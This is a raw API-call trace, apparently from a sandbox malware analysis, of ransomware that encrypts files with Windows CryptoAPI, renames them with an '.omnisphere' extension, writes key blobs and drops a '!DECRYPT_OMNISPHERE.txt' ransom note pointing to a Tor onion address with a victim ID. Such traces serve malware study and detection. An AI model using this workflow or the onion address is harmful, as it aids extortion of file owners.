GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa2b [0126.779] GetTickCount () returned 0x115fa3b [0126.780] GetTickCount () returned 0x115fa3b [0126.780] GetTickCount () returned 0x115fa3b [0126.780] GetTickCount () returned 0x115fa3b [0126.780] GetTickCount () returned 0x115fa3b [0126.780] GetTickCount () returned 0x115fa3b [0126.780] GetTickCount () returned 0x115fa3b [0126.780] GetTickCount () returned 0x115fa3b [0126.780] GetTickCount () returned 0x115fa3b [0126.780] GetTickCount () returned 0x115fa3b [0126.780] GetTickCount () returned 0x115fa3b [0126.780] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668bd0) returned 1 [0126.781] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.781] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.782] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.782] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0126.782] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x321, lpName=0x0) returned 0x288 [0126.782] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x321) returned 0x1480000 [0126.783] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668460) returned 1 [0126.783] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.783] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.783] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.783] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.784] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.785] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.786] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.786] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0126.786] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x321, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.786] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.786] GetProcessHeap () returned 0x1600000 [0126.786] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c2) returned 0x16ef040 [0126.787] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxxU4lUO6NucKoKNkRfi.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oxxu4luo6nuckoknkrfi.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxxU4lUO6NucKoKNkRfi.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oxxu4luo6nuckoknkrfi.lnk.omnisphere")) returned 1 [0126.787] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxxU4lUO6NucKoKNkRfi.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxxU4lUO6NucKoKNkRfi.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxxU4lUO6NucKoKNkRfi.lnk.omnisphere.id" [0126.788] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxxU4lUO6NucKoKNkRfi.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oxxu4luo6nuckoknkrfi.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.788] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.789] CloseHandle (hObject=0x3c0) returned 1 [0126.790] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.790] CloseHandle (hObject=0x288) returned 1 [0126.790] SetEndOfFile (hFile=0x28c) returned 1 [0126.790] FlushFileBuffers (hFile=0x28c) returned 1 [0126.794] CloseHandle (hObject=0x28c) returned 1 [0126.794] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxxU4lUO6NucKoKNkRfi.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.794] GetProcessHeap () returned 0x1600000 [0126.794] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef310 [0126.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.794] GetProcessHeap () returned 0x1600000 [0126.794] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5758 [0126.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5758, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.794] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.794] GetProcessHeap () returned 0x1600000 [0126.794] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7d88 [0126.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7d88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.795] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.795] GetProcessHeap () returned 0x1600000 [0126.795] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d89e0 [0126.795] PathCombineW (in: pszDest=0x16d89e0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.795] GetProcessHeap () returned 0x1600000 [0126.795] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e1598 [0126.795] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.795] WriteFile (in: hFile=0x28c, lpBuffer=0x16e1598*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e1598*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.795] CloseHandle (hObject=0x28c) returned 1 [0126.796] GetProcessHeap () returned 0x1600000 [0126.796] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef310 | out: hHeap=0x1600000) returned 1 [0126.796] GetProcessHeap () returned 0x1600000 [0126.796] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.796] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.796] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.796] CloseHandle (hObject=0x28c) returned 1 [0126.796] GetProcessHeap () returned 0x1600000 [0126.797] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.797] GetProcessHeap () returned 0x1600000 [0126.797] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166ab78 | out: hHeap=0x1600000) returned 1 [0126.797] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20a82e97, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20a82e97, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20a82e97, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4ab, dwReserved0=0x0, dwReserved1=0xd3, cFileName="O_3g.lnk", cAlternateFileName="")) returned 1 [0126.797] GetProcessHeap () returned 0x1600000 [0126.797] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x167c028 [0126.797] PathCombineW (in: pszDest=0x167c028, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="O_3g.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\O_3g.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\O_3g.lnk" [0126.797] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.797] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\O_3g.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\o_3g.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.797] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1195) returned 1 [0126.797] GetTickCount () returned 0x115fa4a [0126.797] GetTickCount () returned 0x115fa4a [0126.797] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] GetTickCount () returned 0x115fa4a [0126.798] 